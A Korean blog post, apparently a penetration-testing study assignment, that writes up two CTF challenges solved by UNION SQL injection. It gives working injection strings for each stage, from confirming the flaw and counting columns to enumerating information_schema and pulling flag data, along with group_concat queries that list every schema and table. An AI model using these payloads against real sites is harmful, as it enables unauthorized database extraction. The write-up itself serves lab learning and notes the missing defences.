모의해킹 스터디 과제

모의해킹 스터디 6주차 과제: CTF - UNION SQL Injection

whydontyoushovel 2024. 11. 29. 00:00

 

기분 굿.

 

 

SQL Injection 1

비밀 데이터를 찾아내라!

 

 

 

< 필수 절차 >

1) 검색 기능 이해, SQL Injection 가능한지 확인

 

2) 서버 사용 컬럼 개수

 

3) 화면에 노출되는 컬럼 위치 찾기

 

4) DB 명 찾기

 

5) 테이블 명 찾기

 

6) 컬럼 명 찾기

 

7) 데이터 추출

 

 

 

 

1) 사이트 검색 기능 이해, SQL Injection 가능성 확인

 

검색 페이지 기본 화면
a를 검색한 결과

 

url GET방식으로 파라미터를 전달하는 것을 확인할 수 있음.

 

 

a만 검색해도 a가 포함된 id를 모두 색출함

LIKE 구문을 사용 중이란 것을 알 수 있음.

 

SELECT _________ FROM _______ WHERE id LIKE '%___%';

 

 

저 구문에 맞는 SQL Injection 확인 코드는

a%' and '1%'='1

 

위의 코드를 검색할 시,

결과적으로 이런 구문을 완성시키게 된다.

WHERE id LIKE '%a%' and '1%'='1%';

 

a만 검색했을 때와 같은 결과가 나올 경우 => SQL Injection 가능. 컬럼 개수찾기

같은 결과가 나오지 않을 경우 => 고민 좀 해봐야...

아무 결과도 나오지 않을 경우 => SQL Injection이 안될 가능성... 있음.

 

 

검색 결과 a를 검색했을 때와 같은 결과가 나옴

________(SQL Injection 싸압가능)

 

서버가 사용하는 컬럼 개수 찾기로 넘어감.

 

 

 

2) 서버 사용 컬럼 개수

 

 

컬럼 개수를 아는 것은 union select 구문을 사용할 때 아주 중요함.

서버에서 사용 중인 쿼리문의 컬럼 개수와 union select문에 쓸 컬럼 개수가 다르면

결과가 출력되지 않기 때문임.(에러 남)

 

그런 이유로 컬럼 개수를 알기 위해선 order by문을 활용하면 좋음.

(union select 1,2,3...# 으로 컬럼 개수와 위치를 함께 확인하는 법도 있음.

대신 컬럼 개수 안 맞으면 결과 안 보임.(불안함!!!))

 

 

검색 값이 아무것도 없으면 되는지 안되는지 확인이 안되니까

a%' 를 붙여서 order by문 검색

 

a%' order by 1#부터 쭉하다가 5에서 검색 결과가 안 보임

=> 서버에서 사용 중인 컬럼 개수는 4개임.

(#은 서버측 쿼리문의 끝에 있는 >>  %'  << 를 주석처리하기 위함)

_______(서버 쿼리의 컬럼 개수는 4개)

 

추가로 order by 1로 정렬 시 id를 기준으로 정렬되고

2로 정렬 시  화면 2열인 level을 기준으로 정렬되고

3으로 정렬 시 화면 3열인 rank point를 기준으로 정렬되고

4로 정렬 시 화면 4열인 rate 를 기준으로 정렬됨을 확인할 수 있음.

 

서버에서 사용하는 SQL 문은 대충

SELECT id, level, rank_point, rate FROM ______ WHERE id LIKE '%___%';

일 확률이 높음.

 

어차피 제대로 찾아야 함.

 

그 전에 컬럼 위치가 맞는지 확인

 

 

 

 

3) 화면에 노출되는 컬럼 위치 찾기

 

 

여기서부터 select union을 사용.

임의의 데이터를 순서대로 넣어서 어떤 컬럼이 1번인지, 2번인지 등을 확인하기 위함.

 

 

위에서 대충 찾았지만 정확한 확인을 위해

a%' union select 1, 2, 3, 4# 검색

 

SELECT id, level, rank_point, rate
FROM _____
WHERE id LIKE '%a%'
UNION SELECT 1, 2, 3, 4# %'

 

a를 검색한 결과 아래로 1,2,3,4라는 데이터가 덧붙어서 나올 것이다.

 

 

확인 결과

id가 첫번째 열

level이 두번째 열

rank point가 세번째 열

rate가 네번째 열에서 사용 중임을 알아냄.

 

_________(SELECT ID, Level, Rank Point, Rate 어쩌구)

 

 

물론 컬럼의 정확한 이름은 알 수 없음. 

이를 알아내기 위해 우선 서버가 사용 중인 데이터베이스 이름부터 알아내야함.

 

 

 

 

4) DB 명 찾기

 

서버가 사용 중인 데이터베이스의 이름을 출력하기 위한 쿼리.

select database();

 

 

DB명을 게시판 검색 결과 화면에 출력시키려면 아까처럼 union select 구문을 활용하여 검색결과 하단에 덧붙여야함.

1, 2, 3, 4의 위치 중 하나에 대신 써넣으면 됨.

 

a%' union select 1, database(), 3, 4 #

 

그럼 서버에서 완성되는 쿼리는 결과적으로

SELECT id, level, rank_point, rate
FROM _____
WHERE id LIKE '%a%'
UNION SELECT 1, database(), 3, 4#

 

이런 형태가 됨.

 

찾아낸 DB명은 sqli_1.

 

___________(DB명 = 'sqli_1')

 

DB 서버의 구조 상 이것만으로도 컬럼 이름은 알아낼 수 있음.

디스 이즈 디 에비던스.

 

하지만 컬럼 이름만으로는 컬럼 속 데이터를 볼 수 없음.

저 컬럼이 어떤 테이블에 속하는지 알아야 그 속의 데이터도 볼 수 있음.

(select 구문의 문법은 select [컬럼명] from [테이블명] 이니까.)

 

괜춘. 데이터베이스 명이 있으면 그 DB에 어떤 테이블이 있는지도 알아낼 수 있음.

 

 

 

 

 

 

5) 테이블 명 찾기

 

 

테이블 명을 알아내는 쿼리는 앞서 DB명을 알아냈던 쿼리랑은 다르게 쓸 게 좀 많음.

DB는 한 ....페이지에서 하나를 사용하지만(아마) 테이블은 두 세개씩 사용할 수 있기 때문이 아닐까 싶음.

 

테이블 이름을 알아내기 위한 쿼리는 이러함.

SELECT table_name FROM information_schema.tables WHERE table_schema='데이터베이스명';

 

 

왜 저렇게 길어지는지에 대한 참고자료 (feat. phpMyAdmin)

더보기

SELECT table_name FROM information_schema.tables WHERE table_schema='데이터베이스명';

 

지금 사용할 이 쿼리를 인간 말로 풀어보자면

 

TABLE_NAME 컬럼의 데이터를 출력해라

information_schema의 tables라는 테이블에서

근데 이제 table_schema가 어떤 특정 데이터베이스명인 것들로다가..

(예를 들면 문제의 sqli_1)

 

여기서 table_name은 그렇다고 쳐도

information_schema.tables나 table_schema는 또 뭔가 싶을 것임.

 

데이터베이스는 내가 사용할 웹 사이트 용 데이터베이스만 있는 게 아님.

DB 서버를 유지, 관리하기 위한 별의별 DB가 이미 만들어져 있는데,

이 중에 DB서버에 있는 모든 컬럼만 모은 것도 있고 모든 테이블만 모은 것도 있음.

 

그런 데이터는 information_schema라는 DB에 저장됨.

 

저 사진 information_schema의 좌측 플러스를 누르면 거기 속한 테이블이 좌르륵 뜸.

그 중 TABLES 라는 테이블에 들어가면 대충 이러한 구조를 볼 수 있음.

 

테이블의 정보를 담은 여러 컬럼 중  TABLE_SCHEMA와 TABLE_NAME이 사용됨.

여기서 TABLE_SCHEMA는 DB를 가리키고 TABLE_NAME은 테이블 이름을 가리킴.

여기서 TABLE_SCHEMA에 저장된 DB이름을 조건으로 TABLE_NAME의 정보를 출력하려는 중임.

 

 

구조를 따지자면 이런 것임.

 

information_schema  (DB)

tables   (테이블)

table_schema(DB명)

                table_name(테이블명)      (컬럼)

 

요런 구조와 정보를 이용해서 남의 서버 데이터를 알아내는 중. 

 

 

우리가 현재 문제의 게시판 사이트에서 SQL Injection쿼리 결과를 눈으로 보기 위해 필요한 쿼리문은

a%' union select 1,2,3,4#

 

 

이 쿼리문에 테이블명을 알아내기 위한 쿼리를 섞으면 이런 게 만들어짐.

 

a%' union select 1, table_name, 3, 4

from information_schema.tables

where table_schema='sqli_1'#

 

쿼리문 결과(조건에 맞는 테이블명)를 뽑아서

서버에 사용중인 쿼리 결과의 2열 아래에 붙여 출력시키려는 거임.

 

저 쿼리문을 검색창에 입력하면 이런 결과를 얻을 수 있음.

 

sqli_1이라는 DB에 3개의 테이블이 있다는 것을 확인함.

flag_table

plusFlag_Table

user_info

 

 

_______(sqli_1  -> flag_table, plusFlag_Table, user_info)

 

 

 

 

6) 컬럼 명 찾기

 

 

이제 컬럼명만 찾으면 이 DB는 내 손 안에 있는 것과 다름이 없음.

 

DB를 찾기 위한 쿼리는 다음과 같음.

 

SELECT column_name

FROM information_schema.columns

WHERE table_name='테이블명';

 

테이블명 찾는 쿼리랑 비슷함.

 

조건엔 물론 table_schema가 들어갈 수 있음.

하지만 봤듯이 table_schema는 DB명을 가리키기 때문에

이걸로 조건을 두면 색출되는 컬럼이 flag_table에 있는 앤지

plusFlag_Table에 있는 앤지 알 수 없게 됨.

 

그래서 찾아낸 테이블명으로 조건을 두는 것임.

 

아까와 마찬가지로 저 구문을 union select 1,2,3,4# 에 활용하면 이런 검색어가 완성됨.

 

a%' union select 1, column_name, 3, 4

from information_schema.columns

where table_name='flag_table'#

 

밑줄 친 부분만 plusFlag_Table, user_info로 변경하면 됨.

 

flag_table의 결과

 

plusFlag_Table의 결과

 

user_info의 결과

 

 

근데 이걸 한 번에 모두 추출할 수도 있긴 함.

다음 문제를 풀다가 알아낸 건데 group_concat라는 기능이 있음.

 

a%' UNION SELECT 'flag_table', GROUP_CONCAT(column_name SEPARATOR ', '),3,4

FROM information_schema.columns

WHERE table_name='flag_table'                   ____(flag_table 컬럼 추출)

UNION SELECT 'plusFlag_Table', GROUP_CONCAT(column_name SEPARATOR ', '), 3,4

FROM information_schema.columns

WHERE table_name='plusFlag_Table'             ______(plusFlag_Table 컬럼 추출)

UNION SELECT 'user_info', GROUP_CONCAT(column_name SEPARATOR ', '), 3,4

FROM information_schema.columns

WHERE table_name='user_info'#              ________(user_info 컬럼 추출)

 

이렇게 쓰면

이런 결과를 얻을 수 있음.

근데 오타 잘못 나면 결과가 안 뜸.

 

아무튼 이제 테이블 이름, 컬럼 이름 다 알고 있으니까

ㄹㅇ 중요한 정보를 털 수 있게 됨.

 

_______(flag_table -> flag)                                 

_______(plusFlag_Table -> idx, flag)                  

_______(user_info -> id, level, rank_point, rate)

 

 

 

 

7) 데이터 추출

 

 

데이터 추출을 위해 필요한 쿼리는

SELECT 컬럼명 FROM 테이블명

 

임. 

 

이걸 union select 1,2,3,4#에 적용시키면

a%' union select 1, 컬럼명, 3, 4 from 테이블명

이런 검색어가 완성됨.

 

테이블이 세 개니까 세 번 하면 됨.

 

㉮ flag_table

 

a%' union select 1, flag, 3, 4 from flag_table#

 

이런 결과가 출력되었고 확인해보니 이 플래그가 정답이었음.

 

_______(플래그 발견)

 

하지만 여기서 멈출 수는 없는 거임.

다른 테이블에 다른 문제의 플래그가 잇으면 그것만큼 개꿀인 것도 없거니와

출제자가 기껏 다른 테이블도 만들어놨는데

다 찾아보는 것이 도리 아니겠음?

 

그래서 다른 테이블도 찾아보게 되었음.

 

 

㉯ plusFlag_Table

 

a%' union select idx, flag, 3, 4 from plusFlag_Table#

 

오 역시 뭔가 있음.

하지만 이건 그거였음. 더미 플래그.(뭐라 부르는지 모름. 그냥 어감이 좋아서 말해봄.)

 

쓸만한 게 없으니 다음 테이블로 넘어가겠음

 

 

㉰ user_info

 

a%' union select id, level, rank_point, rate from user_info#

 

 

그냥 a 포함한 id부터 모든 사용자의 id, level, rank_point, rate가 출력됨.

 

이런 결과가 나오리란 걸 알고 있었음.

 

덕분에 영문 타자 실력이 느는 중.

 


 

서버 사용 쿼리문은 

SELECT id, level, rank_point, rate FROM user_info WHERE id LIKE '% $search %';

였고

 

이 사이트는 단어 필터링도, 이스케이프처리도, prepared statement도 사용하지 않았기 때문에

사용자 입력값에 기호를 넣어도 쿼리의 일부로 인식하고 있음.

그 결과 union sql injection 으로 다른 테이블의 데이터를 가져올 수 있었음.

 

이렇게 냅두면 기밀정보(예를 들면 플래그)가 공격자에게 노출되어

다른 사이트 해킹에 사용될 수도 있고 (물론 플래그는 그런 거 못함)

사용자 정보를 수정하여 사용자가 서비스를 이용하지 못하게 할 수도 있음.

(마이페이지에서는 할 수 있는데 update문도 같이 쓸 수 있는지는 실험해봐야겠음.)

 

 

 

 

 

 SQL Injection 2 

진짜! 데이터를 찾아랏!

(이거 풀었음. 조금 기특함.)

 

 

< 필수 절차 >

1) 검색 기능 이해, SQL Injection 가능한지 확인

 

2) 서버 사용 컬럼 개수

 

3) 화면에 노출되는 컬럼 위치 찾기

 

4) DB 명 찾기

 

5) 테이블 명 찾기

 

6) 컬럼 명 찾기

 

7) 데이터 추출

 

 

(근데 이거 풀면서 축약할 수 있는 방법 몇 가지를 찾음..그래도..일단 기본에 충실하자.) 

 

 

 

 

 

1) 검색 기능 이해, SQL Injection 가능한지 확인

 

첫 화면

 

검색 기능을 가진 게시판 페이지이다.

검색창에 placeholder대로 'normaltic'을 검색해본다.

 

normaltic을 검색한 결과

 

normaltic에 해당하는 id, level, rank point, info가 출력되었다.

서버의 쿼리에서 LIKE구문을 사용하는지 확인하기 위해 'no'를 검색해본다.

 

no를 검색한 결과

no의 id, level, rank point, info 결과가 검색되었다.

서버에서 만약 LIKE구문을 사용하고 있다면 normaltic도 검색되었을 것이다.

 

WHERE id='____' 로 의심되는 상황.

 

 

 

이제 SQL Injection이 가능한지 판단하기 위해 

normaltic' and '1'='1 을 검색해본다.

 

normaltic' and '1'='1 을 검색한 결과

 

검색 결과 id는 검색어 그대로 출력되고 있으나 info를 보면 normaltic으로 검색되고 있는 것이 확인되었다.

따라서 해당 사이트는 SQL Injection이 가능한 환경인 것으로 보인다.

 

더하여, ID 출력 값과 SQL 에 쓰이는 id값을 분리한 것으로 보이는데,

아마 쿼리에 쓰이는 id에는 SQL Injection이 실행되지만

화면에 출력하는 id는 GET방식으로 데이터를 받아 출력하는 것이 아닐까 짐작된다.

 

________(아무튼 SQL Injection 싸압가능!)

 

 

 

 

 

2) 서버 사용 컬럼 개수

 

 

서버의 쿼리에 사용되는 컬럼의 개수를 알아볼 차례이다.

컬럼 개수가 다르면 union select 구문을 사용할 수 없기 때문이다.

(union select을 이용하여 DB 데이터를 화면에 출력한다.)

 

normaltic' order by 4# 부터7# 까지 입력해본 결과

7에서 검색 결과가 출력되지 않았다.

 

서버에서 사용 중인 컬럼의 개수는 6개인 것으로 확인된다.

 

__________(서버 측 컬럼 개수 6개)

 

 

 

 

 

3) 화면에 노출되는 컬럼 위치 찾기

 

 

여기서 화면에 노출되는 컬럼이란 단순히 게시판에 표시되는 컬럼을 말하는 게 아니다.

가장 중요한 포인트는 DB의 데이터를 화면에 노출시키는 컬럼의 위치를 찾는 것이다.

 

네 컬럼 중 두개는 데이터가 가려져 확인할 수 없으니 남은 컬럼은 두개이다.

 

앞서 알게 되었듯이 이 중 ID는 GET방식으로 따로 출력하고 있고

쿼리에서 사용하는 아이디는 다른 변수에 저장해서 해당 데이터를 뽑는 데 사용되는 것 같다.

 

남은 건 info 컬럼이다.

검색 기준이 아이디이고 그에 해당하는 데이터를 뽑는 것이 맞다면 

우리가 DB의 데이터를 볼 수 있는 컬럼은 info 컬럼이다.

 

여기서 확인해야할 것은 서버 측 쿼리에서 사용된 info 컬럼의 위치이다. 

 

 

이를 알아보기 위해 필요한 쿼리문이다.

 

normaltic' UNION SELECT 1,2,3,4,5,6 #

 

이걸 검색하면

결과가 안 나온다.

 

뭐임? 왜 안 나오는 거임? 1번 문제는 아래에 갖다 붙였는데 뭐임?

 

1번 문제와의 차이는 normaltic검색 결과 아래에 1,2,3,4,5,6 행이 보이지 않는다는 점이다.

union select에서 특정 글자가 필터링되고 있는 걸 수도 있지만

 

보길 원하는 두번째행이 출력되지 않는 걸 봐선

첫번째 행만 화면에 출력되게 해둔 걸 수도 있다.

 

확인을 위해 SQL 쿼리의 LIMIT 기능을 활용해본다.

 

 

normaltic' UNION SELECT 1,2,3,4,5,6 LIMIT 1,1#

 

검색 결과 테이블인

normaltic (임시) 어쩌구 저쩌구  레벨 랭크포인트 인포
1 2 3 4 5 6

 

에서 인덱스 0번째의 normaltic행이 아닌 인덱스 1번째의 1,2,3,4,5,6 행을 하나만!! 가지고 오겠다는 뜻이다.

 

normaltic' union select 1,2,3,4,5,6 limit 1,1#을 검색한 결과

 

검색 결과, DB의 데이터를 화면에 출력하는 info컬럼은

서버측 쿼리의 여섯번째에 사용되는 것으로 확인되었다.

 

서버 측 쿼리는 현재

SELECT ___,____,____,____,____, info FROM 테이블

WHERE id = '____';  일 것으로 추측된다.

 

__________(info는 6번째 컬럼)

 

 

 

 

 

4) DB 명 찾기

 

 

앞서 찾은 공격 포맷은

normaltic' union select 1,2,3,4,5,6# 이었다.

여기서 DB 데이터를 화면에 출력하는 행은 여섯번째 행이었기 때문에

이제부터 이 여섯번째 행에 원하는 데이터가 나오도록 해야한다.

 

우선 DB명을 찾기 위한 쿼리문이다.

 

normaltic' UNION SELECT 1,2,3,4,5, database() #

 

이걸 검색하면 info 테이블에 현재 웹 서버가 사용 중인 DB의 이름이 출력될 것이다.

 

아 맞다. 저걸론 안된다. LIMIT를 붙여야 한다ㅋㅋㅋ

 

normaltic' UNION SELECT 1,2,3,4,5, database() LIMIT 1,1#

 

 

검색 결과, 서버가 사용 중인 DB의 이름은 sqli_5인 것으로 확인되었다.

 

 

__________(DB_name = 'sqli_5')

 

 

 

 

 

 

5) 테이블 명 찾기

 

 

이번엔 sqli_5에 속한 테이블들의 이름을 찾을 차례이다.

select문으로 데이터를 뽑기 위해선 테이블과 컬럼의 이름을 필수로 알아야 한다.

(그것이 문법이니까!)

 

 

테이블 명을 찾는 쿼리이다.

 

SELECT table_name
FROM information_schem.tables
WHERE table_schema = 'sqli_5'

 

 

이 쿼리문을 normaltic' union select 1,2,3,4,5,6 limit 1,1# 에 적용하면 이렇다.

 

normaltic' UNION SELECT 1,2,3,4,5, table_name
FROM information_schema.tables
WHERE table_schema = 'sqli_5'
LIMIT 1,1#

 

 

쿼리 결과의 인덱스 1에는 flag_honey라는 테이블이 있다.

 

쿼리 결과의 인덱스 2에는 secret이라는 테이블이 있다.

 

limit 3,1은 데이터가 표시되지 않았다.

 

결과, sqli_5에 있는 두 테이블을 발견했다.

 

_______(sqli_5 -> flag_honey, secret)

 

 

 

 

 

 

6) 컬럼 명 찾기

 

 

컬럼명을 찾기 위한 쿼리문이다.

 

SELECT column_name
FROM information_schema.columns
WHERE table_name = ' 테이블 명'

 

 

이것을 normaltic' union select 1,2,3,4,5,6 limit 1,1# 에 적용시킨 쿼리문이다.

 

 

먼저 flag_honey 테이블의 컬럼명부터 찾는다.

normaltic' UNION SELECT 1,2,3,4,5, column_name
FROM information_schema.columns
WHERE table_name = 'flag_honey'
LIMIT 1,1#

 

 

flag_honey테이블의 컬럼명을 찾는 쿼리의 결과 (limit 1,1)

LIMIT 2,1의 데이터는 표시되지 않았다.

 

_______(flag_honey -> flag)

 

다음으로 secret 테이블의 컬럼명을 찾는다.

normaltic' UNION SELECT 1,2,3,4,5, column_name
FROM information_schema.columns
WHERE table_name = 'secret'
LIMIT 1,1#

 

 

secret 테이블의 컬럼명을 찾는 쿼리의 결과. (limit 1,1)

 

LIMIT 2,1 의 결과는 아무것도 나오지 않았다.

 

_________(secret -> flag)

 

 

 

 

 

 

7) 데이터 추출

 

 

필요한 정보는 다 찾았으니 이제 데이터만 추출하면 된다.

데이터를 추출하기 위한 SELECT문은 이러하다.

 

SELECT [컬럼명] FROM [테이블명]

 

이걸 normaltic' union select 1,2,3,4,5,6 limit 1,1#에 대입하면 된다.

 

 

우선 flag_honey의 flag 테이블 데이터를 추출해보자.

normaltic' UNION SELECT 1,2,3,4,5, flag
FROM flag_honey
LIMIT 1,1 #

 

켘ㅋ케ㅔㅔㅔㅋ 여기 아닌데! 여기 아닌데!!

.........

 

LIMIT 2,1의 결과는 없었다. flag_honey 테이블은 공갈빵이다!!!(?)

 

 

secret 테이블의 flag 컬럼 데이터를 추출하는 쿼리이다.

normaltic' UNION SELECT 1,2,3,4,5, flag
FROM secret
LIMIT 1,1 #

 

 

.........다음 행을 찾아본다.

 

?????? 뭐임? 왜 안 나옴???

 

 

아 왜냐면 내가 LIMIT 1,1부터 시작해서 그렇다. LIMIT 0,0부터 하면 나올 것이다.

 

...

.......아니지 않나? 젤 첫 행에 normaltic 결과 행이 있고

그 다음부터 union 으로 붙인 결과 데이터일텐데..?  ?????

 

 

 

LIMIT 0,1을 해본다.

???????????????

 

 

이번엔 LIMIT 1,1을 해본다.

 

플래그를 발견했다..

.............

 

_________(플래그 발견)

 

 

 

 


 

이 문제 사이트의 특징

 

1) 검색 결과를 한 행만 표시

2) 식별 값을 받아서 DB 쿼리용, 화면 표시용 따로 처리

 

 

1번 문제의 사이트보다는 DB털이 할 때 난이도가 약간 있지만

마찬가지로 SQL Injection에 대한 대응을 갖추지 않았기 때문에

공격자가 입력한 작은 따옴표 등을 쿼리문으로 인식해서 SQL Injection이 가능한 상황임.

 

 

추가로, 검색 결과를 한 행만 표시하는 페이지는 예를 들어

마이페이지나 게시물 보는 페이지(게시물 번호, 작성자, 내용 등을 확인) 등이 있다.

이런 예시들의 경우, UNION SQL Injection이 불가능할 수 있지만

이런 식으로 작동한다는 감을 잡고 가기에 좋을 것 같다.

 

내가 만든 마이페이지에선 식별을 사용자 입력값이 아니라 세션데이터로 해서

UNION SQLi는 번거로울 것 같다.

흐으으음 마이페이지 자체에는 사용자가 입력한 값을 업데이트문에만 사용하게 만들어서

이 페이지 내에서는 어떻게 접근해야할지는 더 고민해봐야할 것 같다.

 

 

 

 

 

 

< 고난 >

 

1. 아이디 컬럼을 제외하고 특정 컬럼이 DB 데이터를 화면에 노출시킬 거라는 생각을 모담.

 

     =>  a' union select 1,2,3,4,5,6# 하다가 얻어걸림..

 

 

 

2. 아이디 컬럼에 검색어가 그대로 나와도 SQL Injection이 될 거라고 생각 모담.

 

     => 이게 말로만 듣던 이스케이프? 아니면 프리페어드? 하고 우회 방법 찾다가

마찬가지로 a' union select 1,2,3,4,5,6 #하고 아니었다는 것을 깨달음.

 

 

 

3. 한 행만 출력될 수 있다고 생각 모담.

 

     => 게속 첫 행 결과만 보다가 데이터가 이것만 있을리 없다 싶어서 온 DB를 다 뒤졌는데도 뭐가 안나오길래 혹시나 싶어서 order by 1 desc하니까 다른 데이터도 찾음.

행이 더 있구나 싶어서 limit 사용. 근데 사용법 몰라서 처음엔 1,1 -> 2,2 이런 식으로 썼다.

어차피 한 행만 출력하는 거라 결과는 같았지만....  물론 이젠 사용법 앎.

 

온~ DB 다 뒤지면서 알아낸 쿼리문들

# DB 찾는 과정 생략하기
SELECT table_name 
FROM information_schema.tables
WHERE table_schema = database();


#서버 관리용을 제외한 모든 데이터베이스명 찾기
SELECT group_concat(schema_name SEPARATOR " , ")
FROM information_schema.schemata 
WHERE schema_name NOT IN ('information_schema','mysql'); #이게 다는 아닌데 이것만 해도 많이 가려냄


#서버 관리용을 제외한 모든 컬럼, 테이블 찾기
SELECT group_concat(table_name SEPARATOR " , ")
FROM information_schema.tables
WHERE table_schema NOT IN ('information_schema','mysql'); #table_name을 column_name으로 대체

 

근데 이거 때문에 더 멀리 돌아간 듯.. 

 

 

 

4. 그래도 삽질한 덕분에 group_concat이나 concat도 알게 되고, DB 구조도 phpMyAdmin으로 좀 찾아보면서 부족한 지식이 채워진듯 하다. 

 

 

 

 

 

 

 

 

 

 

---------해보고 싶은 거---------

 

 

  • 어떻게 검색어 그대로 결과로 내보내지?   

->    $_GET['id'] 식으로 받은 데이터를 출력하는 것 같다.

  • 어떻게 쿼리 결과를 첫행 고정으로 한 행만 나오게 하는 거지?
  • 검색값 필터링하면 SQLi결과가 어떻게 나올까?
  • 프리페어드는 SQLi결과가 어떻게 나올까?

 

취약점 대응은 나중에 하고 일단 게시판부터 만들어야지.